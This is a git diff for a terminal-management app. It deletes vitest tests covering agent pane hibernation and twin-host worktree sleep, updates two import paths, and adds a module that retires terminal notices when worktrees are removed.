diff --git a/src/renderer/src/store/terminals/store-sleep-pane-hibernation.test.ts b/src/renderer/src/store/terminals/store-sleep-pane-hibernation.test.ts
index 3322852185e..b285b1744ac 100644
--- a/src/renderer/src/store/terminals/store-sleep-pane-hibernation.test.ts
+++ b/src/renderer/src/store/terminals/store-sleep-pane-hibernation.test.ts
@@ -1,10 +1,7 @@
 import { describe, it, expect, vi, beforeEach } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { getDefaultSettings } from '../../../../shared/constants'
-import { createCompatibleRuntimeStatusResponseIfNeeded } from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
 import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
-import { makeRuntimeOwnedWorktree } from '../slices/worktrees/worktree-owner.test-fixture'
 import { makeTab } from './terminal-tab.test-fixture'
 import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
 import { shutdownBufferCaptures } from '@/components/terminal-pane/snapshots/shutdown-buffer-captures'
@@ -149,438 +146,4 @@ describe('shutdownWorktreeTerminals (sleep) — agent status hygiene', () => {
     expect(state.pendingIssueCommandSplitByTabId['tab-1']).toBeDefined()
     expect(dropByWorktree).not.toHaveBeenCalled()
   })
-
-  it('aborts pane hibernation without side effects when no resume record can be captured', async () => {
-    // No capturable resume record means the pane could never wake, so shutdown throws before any suppression or kill.
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const siblingLeaf = '22222222-2222-4222-8222-222222222222'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex', ptyId: 'pty-agent' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: {
-            type: 'split',
-            direction: 'horizontal',
-            first: { type: 'leaf', leafId: targetLeaf },
-            second: { type: 'leaf', leafId: siblingLeaf }
-          },
-          activeLeafId: siblingLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [targetLeaf]: 'pty-agent', [siblingLeaf]: 'pty-shell' }
-        }
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-agent', 'pty-shell'] }
-    })
-    // A done agent with no provider session yields no resumable sleeping record.
-    store
-      .getState()
-      .setAgentStatus(
-        targetPaneKey,
-        { state: 'done', prompt: 'resume target', agentType: 'codex' },
-        'Codex',
-        { updatedAt: 2000, stateStartedAt: 1000 },
-        { tabId: 'tab-1', worktreeId: wt }
-      )
-
-    await expect(
-      store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-        paneKey: targetPaneKey,
-        tabId: 'tab-1',
-        leafId: targetLeaf,
-        ptyId: 'pty-agent'
-      })
-    ).rejects.toThrow('agent_hibernation_capture_missing')
-
-    const state = store.getState()
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-    expect(state.suppressedPtyExitIds['pty-agent']).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[targetPaneKey]).toBeUndefined()
-    expect(state.ptyIdsByTabId['tab-1']).toEqual(['pty-agent', 'pty-shell'])
-    expect(state.agentStatusByPaneKey[targetPaneKey]).toBeDefined()
-  })
-
-  it('persists the sleeping record and suppression before issuing the hibernation kill', async () => {
-    // pty:exit can beat the kill promise back; the record must be in the store before the kill or the wake never arms.
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Claude', ptyId: 'pty-agent' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: targetLeaf },
-          activeLeafId: targetLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [targetLeaf]: 'pty-agent' }
-        }
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-agent'] }
-    })
-    store
-      .getState()
-      .setAgentStatus(
-        targetPaneKey,
-        { state: 'done', prompt: 'resume target', agentType: 'claude' },
-        'Claude',
-        { updatedAt: 2000, stateStartedAt: 1000 },
-        { tabId: 'tab-1', worktreeId: wt },
-        { providerSession: { key: 'session_id', id: 'sess-ordering-1' } }
-      )
-    let recordAtKillTime: unknown = null
-    let suppressionAtKillTime: boolean | undefined
-    mockApi.pty.kill.mockImplementationOnce(async () => {
-      const atKill = store.getState()
-      recordAtKillTime = atKill.sleepingAgentSessionsByPaneKey[targetPaneKey]
-      suppressionAtKillTime = atKill.suppressedPtyExitIds['pty-agent']
-    })
-
-    await store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-      paneKey: targetPaneKey,
-      tabId: 'tab-1',
-      leafId: targetLeaf,
-      ptyId: 'pty-agent'
-    })
-
-    expect(mockApi.pty.kill).toHaveBeenCalledWith('pty-agent', { keepHistory: true })
-    expect(recordAtKillTime).toMatchObject({
-      paneKey: targetPaneKey,
-      providerSession: { key: 'session_id', id: 'sess-ordering-1' }
-    })
-    expect(suppressionAtKillTime).toBe(true)
-    const state = store.getState()
-    expect(state.sleepingAgentSessionsByPaneKey[targetPaneKey]).toBeDefined()
-  })
-
-  it('does not commit pane sleep state when local target kill fails', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const siblingLeaf = '22222222-2222-4222-8222-222222222222'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-    const handlerSnapshots = [{ ptyId: 'pty-agent' }]
-
-    mockApi.pty.kill.mockRejectedValueOnce(new Error('kill failed'))
-    mockUnregisterPtyDataHandlers.mockReturnValueOnce(handlerSnapshots)
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex', ptyId: 'pty-agent' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: {
-            type: 'split',
-            direction: 'horizontal',
-            first: { type: 'leaf', leafId: targetLeaf },
-            second: { type: 'leaf', leafId: siblingLeaf }
-          },
-          activeLeafId: siblingLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [targetLeaf]: 'pty-agent', [siblingLeaf]: 'pty-shell' }
-        }
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-agent', 'pty-shell'] }
-    })
-    store
-      .getState()
-      .setAgentStatus(
-        targetPaneKey,
-        { state: 'done', prompt: 'resume target', agentType: 'codex' },
-        'Codex',
-        { updatedAt: 2000, stateStartedAt: 1000 },
-        { tabId: 'tab-1', worktreeId: wt },
-        { providerSession: { key: 'session_id', id: 'target-session' } }
-      )
-
-    await expect(
-      store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-        paneKey: targetPaneKey,
-        tabId: 'tab-1',
-        leafId: targetLeaf,
-        ptyId: 'pty-agent'
-      })
-    ).rejects.toThrow('kill failed')
-
-    const state = store.getState()
-    expect(state.ptyIdsByTabId['tab-1']).toEqual(['pty-agent', 'pty-shell'])
-    // Failed kill restores the done agent’s live recovery anchor, never worktree-sleep (#9454).
-    expect(state.sleepingAgentSessionsByPaneKey[targetPaneKey]).toMatchObject({
-      origin: 'live',
-      agent: 'codex',
-      providerSession: { key: 'session_id', id: 'target-session' }
-    })
-    expect(state.agentStatusByPaneKey[targetPaneKey]).toBeDefined()
-    expect(state.suppressedPtyExitIds['pty-agent']).toBeUndefined()
-    expect(mockRestorePtyDataHandlersAfterFailedShutdown).toHaveBeenCalledWith(handlerSnapshots)
-  })
-
-  it('uses target-only runtime stop for automatic pane hibernation', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const siblingLeaf = '22222222-2222-4222-8222-222222222222'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? {
-                  stoppedPtyIds: ['terminal-1'],
-                  livePtyIds: ['terminal-1', 'terminal-2'],
-                  postStopVerified: true,
-                  remainingLivePtyIds: ['terminal-2']
-                }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: {
-            type: 'split',
-            direction: 'horizontal',
-            first: { type: 'leaf', leafId: targetLeaf },
-            second: { type: 'leaf', leafId: siblingLeaf }
-          },
-          activeLeafId: siblingLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: {
-            [targetLeaf]: 'remote:env-1@@terminal-1',
-            [siblingLeaf]: 'remote:env-1@@terminal-2'
-          }
-        }
-      },
-      ptyIdsByTabId: {
-        'tab-1': ['remote:env-1@@terminal-1', 'remote:env-1@@terminal-2', 'terminal-1']
-      }
-    })
-    store
-      .getState()
-      .setAgentStatus(
-        targetPaneKey,
-        { state: 'done', prompt: 'resume target', agentType: 'codex' },
-        'Codex',
-        { updatedAt: 2000, stateStartedAt: 1000 },
-        { tabId: 'tab-1', worktreeId: wt },
-        { providerSession: { key: 'session_id', id: 'target-session' } }
-      )
-
-    await store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-      paneKey: targetPaneKey,
-      tabId: 'tab-1',
-      leafId: targetLeaf,
-      ptyId: 'remote:env-1@@terminal-1',
-      expectedRuntimePtyId: 'terminal-1'
-    })
-
-    expect(mockApi.runtimeEnvironments.call).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'runtime-1',
-        method: 'terminal.stopExact',
-        params: expect.objectContaining({
-          expectedPtyIds: ['terminal-1'],
-          keepHistory: true,
-          targetOnly: true
-        })
-      })
-    )
-    expect(mockApi.runtimeEnvironments.call).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.stop' })
-    )
-    expect(mockApi.runtimeEnvironments.call).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.sleep' })
-    )
-    expect(store.getState().ptyIdsByTabId['tab-1']).toEqual([
-      'remote:env-1@@terminal-2',
-      'terminal-1'
-    ])
-    expect(mockUnregisterPtyDataHandlers).toHaveBeenCalledWith(['remote:env-1@@terminal-1'])
-    expect(mockUnregisterPtyDataHandlers).not.toHaveBeenCalledWith(['terminal-1'])
-    expect(store.getState().suppressedPtyExitIds['remote:env-1@@terminal-1']).toBe(true)
-    expect(store.getState().suppressedPtyExitIds['remote:runtime-1@@terminal-1']).toBeUndefined()
-    expect(store.getState().suppressedPtyExitIds['terminal-1']).toBeUndefined()
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-  })
-
-  it('does not retain stale completion evidence when pane status changes during hibernation', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-
-    mockApi.pty.kill.mockImplementationOnce(async () => {
-      store
-        .getState()
-        .setAgentStatus(
-          targetPaneKey,
-          { state: 'working', prompt: 'still running', agentType: 'codex' },
-          'Codex',
-          { updatedAt: 3000, stateStartedAt: 3000 },
-          { tabId: 'tab-1', worktreeId: wt },
-          { providerSession: { key: 'session_id', id: 'target-session' } }
-        )
-    })
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex', ptyId: 'pty-agent' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: targetLeaf },
-          activeLeafId: targetLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [targetLeaf]: 'pty-agent' }
-        }
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-agent'] }
-    })
-    store.getState().setAgentStatus(
-      targetPaneKey,
-      {
-        state: 'done',
-        prompt: 'stale done',
-        agentType: 'codex',
-        lastAssistantMessage: 'old done'
-      },
-      'Codex',
-      { updatedAt: 2000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'target-session' } }
-    )
-
-    await store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-      paneKey: targetPaneKey,
-      tabId: 'tab-1',
-      leafId: targetLeaf,
-      ptyId: 'pty-agent'
-    })
-
-    expect(store.getState().agentStatusByPaneKey[targetPaneKey]).toBeUndefined()
-    expect(store.getState().retainedAgentsByPaneKey[targetPaneKey]).toBeUndefined()
-    expect(store.getState().retentionSuppressedPaneKeys[targetPaneKey]).toBe(true)
-  })
-
-  it('rolls back target suppressions when target-only runtime stop fails', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const targetLeaf = '11111111-1111-4111-8111-111111111111'
-    const siblingLeaf = '22222222-2222-4222-8222-222222222222'
-    const targetPaneKey = `tab-1:${targetLeaf}`
-
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? {
-                  stoppedPtyIds: ['terminal-1'],
-                  livePtyIds: ['terminal-1', 'terminal-2'],
-                  postStopVerified: false,
-                  postStopFailure: 'target_still_live'
-                }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: {
-            type: 'split',
-            direction: 'horizontal',
-            first: { type: 'leaf', leafId: targetLeaf },
-            second: { type: 'leaf', leafId: siblingLeaf }
-          },
-          activeLeafId: siblingLeaf,
-          expandedLeafId: null,
-          ptyIdsByLeafId: {
-            [targetLeaf]: 'remote:env-1@@terminal-1',
-            [siblingLeaf]: 'remote:env-1@@terminal-2'
-          }
-        }
-      },
-      ptyIdsByTabId: {
-        'tab-1': ['remote:env-1@@terminal-1', 'remote:env-1@@terminal-2']
-      }
-    })
-    store
-      .getState()
-      .setAgentStatus(
-        targetPaneKey,
-        { state: 'done', prompt: 'resume target', agentType: 'codex' },
-        'Codex',
-        { updatedAt: 2000, stateStartedAt: 1000 },
-        { tabId: 'tab-1', worktreeId: wt },
-        { providerSession: { key: 'session_id', id: 'target-session' } }
-      )
-
-    await expect(
-      store.getState().shutdownCompletedAgentPaneForHibernation(wt, {
-        paneKey: targetPaneKey,
-        tabId: 'tab-1',
-        leafId: targetLeaf,
-        ptyId: 'remote:env-1@@terminal-1',
-        expectedRuntimePtyId: 'terminal-1'
-      })
-    ).rejects.toThrow('target_still_live')
-
-    const state = store.getState()
-    expect(state.ptyIdsByTabId['tab-1']).toEqual([
-      'remote:env-1@@terminal-1',
-      'remote:env-1@@terminal-2'
-    ])
-    expect(state.suppressedPtyExitIds['remote:env-1@@terminal-1']).toBeUndefined()
-    expect(state.suppressedPtyExitIds['terminal-1']).toBeUndefined()
-    // Failed target stop restores the done agent’s live recovery anchor, never worktree-sleep (#9454).
-    expect(state.sleepingAgentSessionsByPaneKey[targetPaneKey]).toMatchObject({
-      origin: 'live',
-      agent: 'codex',
-      providerSession: { key: 'session_id', id: 'target-session' }
-    })
-    expect(state.agentStatusByPaneKey[targetPaneKey]).toBeDefined()
-  })
 })
diff --git a/src/renderer/src/store/terminals/store-sleep-twin-host-owner.test.ts b/src/renderer/src/store/terminals/store-sleep-twin-host-owner.test.ts
deleted file mode 100644
index 404d7c15730..00000000000
--- a/src/renderer/src/store/terminals/store-sleep-twin-host-owner.test.ts
+++ /dev/null
@@ -1,166 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { createCompatibleRuntimeStatusResponseIfNeeded } from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
-import { makeRuntimeOwnedWorktree } from '../slices/worktrees/worktree-owner.test-fixture'
-import { makeTab } from './terminal-tab.test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
-import { shutdownBufferCaptures } from '@/components/terminal-pane/snapshots/shutdown-buffer-captures'
-import { applySleepRuntimeRpcDefault } from './terminal-sleep-rpc.test-fixture'
-import { createStoreCascadesMockApi } from '../testing/app-store-cascade-api.test-fixture'
-
-const mockUnregisterPtyDataHandlers = vi.hoisted(() => vi.fn<() => unknown[]>(() => []))
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
-  unregisterPtyDataHandlers: mockUnregisterPtyDataHandlers
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-const mockApi = createStoreCascadesMockApi()
-
-const WT = 'repo1::/path/wt1'
-const LEAF = '11111111-1111-4111-8111-111111111111'
-const PANE_KEY = `tab-1:${LEAF}`
-
-// Same repo ID/path on both SSH and managed-runtime hosts exercises owner-qualified sleep.
-function seedTwin(store: ReturnType<typeof createTestStore>, ptyIds: string[]): void {
-  seedStore(store, {
-    worktreesByRepo: {
-      repo1: [
-        makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1', hostId: 'ssh:ssh-1' }),
-        makeRuntimeOwnedWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' }, 'runtime-1')
-      ]
-    },
-    tabsByWorktree: {
-      [WT]: [makeTab({ id: 'tab-1', worktreeId: WT, title: 'Codex', ptyId: ptyIds[0] ?? null })]
-    },
-    terminalLayoutsByTabId: {
-      'tab-1': {
-        root: { type: 'leaf', leafId: LEAF },
-        activeLeafId: LEAF,
-        expandedLeafId: null,
-        ptyIdsByLeafId: ptyIds[0] ? { [LEAF]: ptyIds[0] } : {}
-      }
-    },
-    ptyIdsByTabId: { 'tab-1': ptyIds }
-  })
-  store
-    .getState()
-    .setAgentStatus(
-      PANE_KEY,
-      { state: 'done', prompt: 'resume target', agentType: 'codex' },
-      'Codex',
-      { updatedAt: 2000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: WT },
-      { providerSession: { key: 'session_id', id: 'target-session' } }
-    )
-}
-
-function isRuntimeCall(value: unknown): value is { selector: string; method: string } {
-  return (
-    typeof value === 'object' &&
-    value !== null &&
-    'selector' in value &&
-    typeof value.selector === 'string' &&
-    'method' in value &&
-    typeof value.method === 'string'
-  )
-}
-
-function runtimeCallsFor(method: string): { selector: string }[] {
-  return mockApi.runtimeEnvironments.call.mock.calls
-    .map((call: unknown[]) => call[0])
-    .filter(isRuntimeCall)
-    .filter((args) => args.method === method)
-}
-
-describe('sleeping a worktree published by an SSH host and a runtime twin', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    clearRuntimeCompatibilityCacheForTests()
-    mockApi.pty.kill.mockResolvedValue(undefined)
-    mockUnregisterPtyDataHandlers.mockReturnValue([])
-    applySleepRuntimeRpcDefault(mockApi)
-    shutdownBufferCaptures.clear()
-  })
-
-  it.each([
-    ['a remote PTY that names no runtime', ['remote:pty-1']],
-    ['no bound PTY at all', []],
-    ['PTYs split across two runtimes', ['remote:runtime-1@@pty-1', 'remote:runtime-2@@pty-2']]
-  ])('refuses, leaving bindings and resume records untouched, for %s', async (_label, ptyIds) => {
-    const store = createTestStore()
-    seedTwin(store, ptyIds)
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-
-    await expect(
-      store.getState().shutdownWorktreeTerminals(WT, { keepIdentifiers: true })
-    ).rejects.toThrow('ambiguous_terminal_owner')
-
-    expect(runtimeCallsFor('terminal.sleep')).toEqual([])
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-    expect(store.getState().ptyIdsByTabId['tab-1']).toEqual(ptyIds)
-    expect(store.getState().sleepingAgentSessionsByPaneKey[PANE_KEY]?.origin).toBe('live')
-    expect(warn).toHaveBeenCalled()
-    warn.mockRestore()
-  })
-})
-
-describe('hibernating a completed agent pane in a twin-published worktree', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    clearRuntimeCompatibilityCacheForTests()
-    mockApi.pty.kill.mockResolvedValue(undefined)
-    mockUnregisterPtyDataHandlers.mockReturnValue([])
-    shutdownBufferCaptures.clear()
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? { stoppedPtyIds: ['pty-1'], livePtyIds: ['pty-1'], postStopVerified: true }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-  })
-
-  it.each([
-    ['a remote PTY with no host stop to run', 'remote:runtime-1@@pty-1', undefined],
-    ['a remote PTY that names no runtime', 'remote:pty-1', 'pty-1']
-  ])('refuses %s without touching bindings', async (_label, ptyId, expectedRuntimePtyId) => {
-    const store = createTestStore()
-    seedTwin(store, [ptyId])
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-
-    await expect(
-      store.getState().shutdownCompletedAgentPaneForHibernation(WT, {
-        paneKey: PANE_KEY,
-        tabId: 'tab-1',
-        leafId: LEAF,
-        ptyId,
-        ...(expectedRuntimePtyId ? { expectedRuntimePtyId } : {})
-      })
-    ).rejects.toThrow('ambiguous_terminal_owner')
-
-    expect(runtimeCallsFor('terminal.stopExact')).toEqual([])
-    expect(store.getState().ptyIdsByTabId['tab-1']).toEqual([ptyId])
-    expect(store.getState().sleepingAgentSessionsByPaneKey[PANE_KEY]?.origin).toBe('live')
-    warn.mockRestore()
-  })
-})
diff --git a/src/renderer/src/store/terminals/terminal-created-shell.ts b/src/renderer/src/store/terminals/terminal-created-shell.ts
index 332ff6654e5..29af824167a 100644
--- a/src/renderer/src/store/terminals/terminal-created-shell.ts
+++ b/src/renderer/src/store/terminals/terminal-created-shell.ts
@@ -1,4 +1,4 @@
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { getProjectRuntimeFolder } from '@/runtime/hosts/wsl/local-project-runtime-workspace'
 import { findLocalFolderWorkspaceRuntimeRepo } from '../../../../shared/folder-workspaces/folder-workspace-execution-host'
 import { folderWorkspaceToWorktree } from '../../../../shared/folder-workspaces/folder-workspace-worktree'
diff --git a/src/renderer/src/store/terminals/terminal-ephemeral-state.ts b/src/renderer/src/store/terminals/terminal-ephemeral-state.ts
index 92e0bdac894..25135453aea 100644
--- a/src/renderer/src/store/terminals/terminal-ephemeral-state.ts
+++ b/src/renderer/src/store/terminals/terminal-ephemeral-state.ts
@@ -1,5 +1,5 @@
 import { isClaudeAgent as isClaudeAgentDefault } from '../../../../shared/agent-status/title/agent-title-identity'
-import { recordTerminalInputActivity } from '@/lib/terminal-input-activity-coalescing'
+import { recordTerminalInputActivity } from '@/lib/terminal/input/terminal-input-activity-coalescing'
 import { detectAgentStatusFromTitle } from '../../../../shared/agent-status/title/agent-title-status'
 import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
 
diff --git a/src/renderer/src/store/terminals/terminal-notice-removal.ts b/src/renderer/src/store/terminals/terminal-notice-removal.ts
new file mode 100644
index 00000000000..a3cf9e5db43
--- /dev/null
+++ b/src/renderer/src/store/terminals/terminal-notice-removal.ts
@@ -0,0 +1,117 @@
+import {
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime,
+  type TerminalNoticeLifetime
+} from '@/components/terminal-pane/provider-notices/terminal-notice-lifetime'
+import {
+  buildTerminalTabRetirementPlans,
+  collectPtyIdsForTab,
+  type TerminalTabRetirementPlan,
+  type TerminalTabRetirementState
+} from './terminal-tab-retirement'
+
+function workspaceTerminalTabs(state: TerminalTabRetirementState, workspaceIds: readonly string[]) {
+  const tabs = new Map<string, string | null>()
+  for (const id of workspaceIds) {
+    for (const tab of state.tabsByWorktree[id] ?? []) {
+      tabs.set(tab.id, tab.ptyId)
+    }
+    for (const tab of state.unifiedTabsByWorktree[id] ?? []) {
+      if (tab.contentType === 'terminal' && !tabs.has(tab.entityId)) {
+        tabs.set(tab.entityId, null)
+      }
+    }
+  }
+  return tabs
+}
+
+function selectPlannedNotices(
+  plans: Iterable<TerminalTabRetirementPlan>,
+  notices: ReadonlyMap<string, TerminalNoticeLifetime>
+): TerminalNoticeLifetime[] {
+  const selected = new Set<TerminalNoticeLifetime>()
+  for (const plan of plans) {
+    for (const id of [
+      ...plan.localOrSshPtyIds,
+      ...plan.cleanupOnlyPtyIds,
+      ...plan.unroutablePtyIds
+    ]) {
+      const notice = notices.get(id)
+      if (notice) {
+        selected.add(notice)
+      }
+    }
+  }
+  return [...selected]
+}
+
+export function retireRemovedWorktreeTerminalNotices(
+  notices: readonly TerminalNoticeLifetime[]
+): void {
+  for (const notice of notices) {
+    retireTerminalNoticeLifetime(notice)
+  }
+}
+
+function captureWorkspaceNotices(
+  before: TerminalTabRetirementState,
+  workspaceIds: readonly string[]
+) {
+  const tabs = workspaceTerminalTabs(before, workspaceIds)
+  const notices = new Map<string, TerminalNoticeLifetime>()
+  for (const [tabId, rowId] of tabs) {
+    for (const id of collectPtyIdsForTab(before, tabId, rowId)) {
+      const notice = getTerminalNoticeLifetime(id)
+      if (notice) {
+        notices.set(id, notice)
+      }
+    }
+  }
+  return { tabs, notices }
+}
+
+/** Backend removal carries only selected objects across its asynchronous request. */
+export function captureWorktreeTerminalNoticeRemoval(
+  before: TerminalTabRetirementState,
+  workspaceId: string
+): readonly TerminalNoticeLifetime[] {
+  const { tabs, notices } = captureWorkspaceNotices(before, [workspaceId])
+  return notices.size === 0
+    ? []
+    : selectPlannedNotices(
+        buildTerminalTabRetirementPlans(before, [...tabs.keys()]).values(),
+        notices
+      )
+}
+
+/** Capture before a removal erases bindings; only accepted final removal settles these objects. */
+export function captureWorkspaceTerminalNoticeRemoval(
+  before: TerminalTabRetirementState,
+  workspaceIds: readonly string[]
+): (after: TerminalTabRetirementState) => void {
+  const { tabs, notices } = captureWorkspaceNotices(before, workspaceIds)
+  return (after) => {
+    if (notices.size === 0) {
+      return
+    }
+    const remaining = new Set<string>()
+    for (const bucket of Object.values(after.tabsByWorktree)) {
+      for (const tab of bucket) {
+        remaining.add(tab.id)
+      }
+    }
+    for (const bucket of Object.values(after.unifiedTabsByWorktree)) {
+      for (const tab of bucket) {
+        if (tab.contentType === 'terminal') {
+          remaining.add(tab.entityId)
+        }
+      }
+    }
+    const doomed = [...tabs.keys()].filter((id) => !remaining.has(id))
+    if (doomed.length > 0) {
+      retireRemovedWorktreeTerminalNotices(
+        selectPlannedNotices(buildTerminalTabRetirementPlans(before, doomed).values(), notices)
+      )
+    }
+  }
+}
diff --git a/src/renderer/src/store/terminals/terminal-pane-detach-agent-retention.test.ts b/src/renderer/src/store/terminals/terminal-pane-detach-agent-retention.test.ts
deleted file mode 100644
index 51848ea0fbb..00000000000
--- a/src/renderer/src/store/terminals/terminal-pane-detach-agent-retention.test.ts
+++ /dev/null
@@ -1,240 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it } from 'vitest'
-import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
-import { collectRetainedAgentsOnDisappear } from '@/components/dashboard/useRetainedAgents'
-import {
-  resetAgentPaneAuthorityAliasesForTests,
-  resolveAgentPaneAuthorityKey
-} from '../slices/agent-status/agent-pane-authority'
-import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
-import { makeTab } from './terminal-tab.test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
